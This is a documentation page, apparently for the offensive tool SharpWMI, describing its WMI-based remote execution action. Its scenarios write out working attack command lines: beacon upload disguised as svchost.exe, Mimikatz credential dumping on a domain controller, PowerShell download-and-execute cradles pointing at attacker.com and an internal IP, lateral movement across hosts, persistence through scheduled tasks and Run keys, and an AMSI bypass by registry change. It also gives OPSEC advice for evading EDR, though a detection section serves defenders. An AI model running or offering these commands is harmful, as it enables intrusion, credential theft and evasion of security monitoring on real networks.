exec

Overview

The exec action creates and executes processes on local and remote systems using the Win32_Process.Create WMI method. It supports command execution with optional output retrieval and AMSI evasion capabilities.

The exec action is one of the most powerful features in SharpWMI, enabling direct code execution on remote systems through native Windows management infrastructure.

Syntax

Basic Execution
With Output Retrieval

SharpWMI.exe action=exec [computername=HOST[,HOST2,...]] command="COMMAND" [username=DOMAIN\user] [password=Password]

The exec action can also be invoked using action=execute or action=create aliases.

Parameters

Parameter	Required	Description
`action`	Yes	Must be `exec`, `execute`, or `create`
`command`	Yes	Command line to execute
`computername`	No	Target host(s), comma-separated. Defaults to localhost
`result`	No	Set to `true` to retrieve command output. Default: false
`amsi`	No	Set to `disable` to bypass AMSI (requires result=true)
`username`	No	Username for authentication (requires password)
`password`	No	Password for authentication (requires username)

Usage Examples

Basic Process Creation

SharpWMI.exe action=exec computername=target.domain.com command="notepad.exe"

Command Output Retrieval

Capture and display command output:

SharpWMI.exe action=exec computername=target.domain.com command="whoami" result=true

Example Output

[*] Host                           : target.domain.com
[*] Command                        : whoami
[*] User name                      : DOMAIN\user
[*] Creation of process returned   : 0
[*] Process ID                     : 5432
[+] Command result:

DOMAIN\user

Command Output Mechanism

When result=true is specified, SharpWMI uses a clever technique to retrieve command output:

Command Wrapping

The command is wrapped in PowerShell that captures output and XOR-encodes it

Environment Variable Storage

Encoded output is stored in a WMI environment variable with a random name

Output Retrieval

SharpWMI queries the environment variable and decodes the output

Cleanup

Environment variables are automatically deleted after retrieval

Technical Details

The output retrieval mechanism:

Creates a random XOR key
Wraps your command in PowerShell: $o=(COMMAND | Out-String).Trim()
XOR-encodes the output
Stores in environment variable via Set-WmiInstance -Class Win32_Environment
Retrieves and decodes the output
Cleans up the environment variable

This technique was contributed by Evi1cg (@Ridter).

AMSI Evasion

When amsi=disable is specified (requires result=true), SharpWMI:

Registry Modification

Sets HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable to 0

Command Execution

Executes your command with AMSI disabled

Registry Restoration

Restores original AMSI registry value

AMSI evasion requires administrative privileges and may be detected by EDR solutions. The registry modification is temporary and cleaned up after execution.

AMSI evasion code contributed by Steven Flores (0xthirteen) from SharpMove.

Operational Scenarios

Scenario 1: Initial Access and Beacon Deployment

# 1. Test connectivity with simple command
SharpWMI.exe action=exec computername=target.domain.com command="whoami" result=true

# 2. Upload beacon (using upload action)
SharpWMI.exe action=upload computername=target.domain.com source="beacon.exe" dest="C:\Windows\temp\svchost.exe" amsi=disable

# 3. Execute beacon
SharpWMI.exe action=exec computername=target.domain.com command="C:\Windows\temp\svchost.exe"

# 4. Verify execution
SharpWMI.exe action=ps computername=target.domain.com

Scenario 2: Credential Harvesting

# Execute Mimikatz with encoded command
SharpWMI.exe action=exec computername=dc.domain.com command="powershell.exe -enc <BASE64_MIMIKATZ>" result=true amsi=disable username="DOMAIN\admin" password="Password123!"

# Or download and execute from URL
SharpWMI.exe action=exec computername=dc.domain.com command="powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1')\"" result=true amsi=disable

Scenario 3: Lateral Movement

# Execute across multiple systems
SharpWMI.exe action=exec computername=ws01,ws02,ws03,ws04,ws05 command="powershell -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')\"" amsi=disable

# With credential reuse
SharpWMI.exe action=exec computername=server1,server2,server3 command="rundll32.exe payload.dll,EntryPoint" username="DOMAIN\admin" password="Password123!"

Scenario 4: Domain Reconnaissance

# Enumerate domain admins
SharpWMI.exe action=exec computername=dc.domain.com command="powershell -c 'Get-ADGroupMember \"Domain Admins\" | Select Name'" result=true amsi=disable

# Find admin workstations
SharpWMI.exe action=exec computername=dc.domain.com command="powershell -c 'Get-ADComputer -Filter {OperatingSystem -like \"*workstation*\"} | Select Name'" result=true amsi=disable

# Enumerate trusts
SharpWMI.exe action=exec computername=dc.domain.com command="powershell -c 'Get-ADTrust -Filter *'" result=true amsi=disable

Scenario 5: Persistence Mechanisms

# Create scheduled task
SharpWMI.exe action=exec computername=target.domain.com command="schtasks /create /tn \"WindowsUpdate\" /tr \"C:\Windows\temp\persist.exe\" /sc onlogon /ru SYSTEM" result=true

# Registry Run key
SharpWMI.exe action=exec computername=target.domain.com command="reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d C:\Windows\temp\persist.exe" result=true

# WMI event subscription (using executevbs action is better)
SharpWMI.exe action=exec computername=target.domain.com command="powershell -c \"<WMI_SUBSCRIPTION_SCRIPT>\"" result=true amsi=disable

Remote vs Local Usage

Local Execution
Remote Execution

When to use:

Post-exploitation on compromised system
Testing commands before remote execution
Local privilege escalation

Advantages:

No network traffic
No authentication required
Faster execution

SharpWMI.exe action=exec command="cmd.exe /c whoami"

Command Line Best Practices

Quote Handling

Use proper escaping for complex commands:

# Good
command="powershell -c \"Get-Process\""

# Bad (quotes not escaped)
command="powershell -c "Get-Process""

Encoded Commands

Base64 encode complex PowerShell:

# Encode locally
$command = 'Get-Process; whoami'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)

# Execute
SharpWMI.exe action=exec command="powershell -enc $encoded"

Detection Considerations

Win32_Process.Create is a high-fidelity indicator of remote code execution and is heavily monitored in mature environments.

Host-Based Detection

Event ID 4688: Process creation events
Event ID 4648: Logon with explicit credentials
Sysmon Event ID 1: Process creation
Parent process: wmiprvse.exe (WMI Provider Host)
Unusual process trees (wmiprvse.exe → cmd.exe → powershell.exe)

WMI-Specific Detection

Event ID 5857: WMI activity
Event ID 5860-5861: WMI event consumers
Sysmon Event ID 19-21: WMI activity
Registry modifications for AMSI evasion
Creation/deletion of environment variables

Network Detection

DCOM traffic on port 135
Dynamic RPC connections
Multiple WMI connections from single source
WMI traffic to sensitive systems (DCs, servers)

Command-Line Detection

Suspicious command-line arguments
Base64 encoded commands
Web requests in command line
Credential dumping tools (mimikatz, etc.)
PowerShell download cradles

Best Practices

Operational Security

Use AMSI evasion when executing PowerShell
Avoid obvious malicious command lines
Use encoded commands when possible
Clean up created processes/files
Limit use of result=true (creates artifacts)

Execution Strategy

Test commands locally before remote execution
Use short-lived processes
Consider process names that blend in
Stage payloads via upload action first
Monitor for command failures

Error Handling

Check return values (0 = success)
Verify process started successfully
Handle timeout scenarios
Account for AV/EDR blocking

Credential Management

Use minimal necessary privileges
Rotate credentials between operations
Avoid reusing domain admin credentials
Monitor for lockouts

Return Values

The Creation of process returned value indicates success or failure:

Return Value	Meaning
0	Successful completion
2	Access denied
3	Insufficient privilege
8	Unknown failure
9	Path not found
21	Invalid parameter

Troubleshooting

Return Value: 2 (Access Denied)

Cause: Insufficient privileges or security restrictionsSolution:

Verify admin credentials
Check UAC remote restrictions
Ensure user is in local Administrators group
Try with domain admin account

Return Value: 9 (Path Not Found)

Cause: Executable or file path doesn’t existSolution:

Verify path exists on target system
Use full paths instead of relative
Upload executable first with upload action
Check for typos in command

Process Created But No Output

Cause: Process doesn’t generate stdout or requires admin contextSolution:

Verify command produces output when run locally
Check if process requires elevated privileges
Try without result=true first
Increase timeout if process is slow

AMSI Evasion Not Working

Cause: Insufficient privileges or EDR blockingSolution:

Ensure you have admin rights
Verify registry modification succeeded
Try alternative AMSI bypass methods
Check for EDR blocking registry changes

executevbs

Execute VBScript via WMI event subscriptions

upload

Upload files before execution

ps

Verify process creation

terminate

Kill created processes

Getting Started

Enumeration Actions

Execution Actions

File Operations

Environment Variables

Overview

Syntax

Parameters

Usage Examples

Basic Process Creation

Command Output Retrieval

Example Output

Command Output Mechanism

AMSI Evasion

Operational Scenarios

Scenario 1: Initial Access and Beacon Deployment

Scenario 2: Credential Harvesting

Scenario 3: Lateral Movement

Scenario 4: Domain Reconnaissance

Scenario 5: Persistence Mechanisms

Remote vs Local Usage

Command Line Best Practices

Quote Handling

Encoded Commands

Detection Considerations

Best Practices

Operational Security

Execution Strategy

Error Handling

Credential Management

Return Values

Troubleshooting

executevbs

upload

ps

terminate

Getting Started

Enumeration Actions

Execution Actions

File Operations

Environment Variables

​Overview

​Syntax

​Parameters

​Usage Examples

​Basic Process Creation

​Command Output Retrieval

​Example Output

​Command Output Mechanism

​AMSI Evasion

​Operational Scenarios

​Scenario 1: Initial Access and Beacon Deployment

​Scenario 2: Credential Harvesting

​Scenario 3: Lateral Movement

​Scenario 4: Domain Reconnaissance

​Scenario 5: Persistence Mechanisms

​Remote vs Local Usage

​Command Line Best Practices

Quote Handling

Encoded Commands

​Detection Considerations

​Best Practices

Operational Security

Execution Strategy

Error Handling

Credential Management

​Return Values

​Troubleshooting

​Related Actions

executevbs

upload

ps

terminate

Overview

Syntax

Parameters

Usage Examples

Basic Process Creation

Command Output Retrieval

Example Output

Command Output Mechanism

AMSI Evasion

Operational Scenarios

Scenario 1: Initial Access and Beacon Deployment

Scenario 2: Credential Harvesting

Scenario 3: Lateral Movement

Scenario 4: Domain Reconnaissance

Scenario 5: Persistence Mechanisms

Remote vs Local Usage

Command Line Best Practices

Detection Considerations

Best Practices

Return Values

Troubleshooting

Related Actions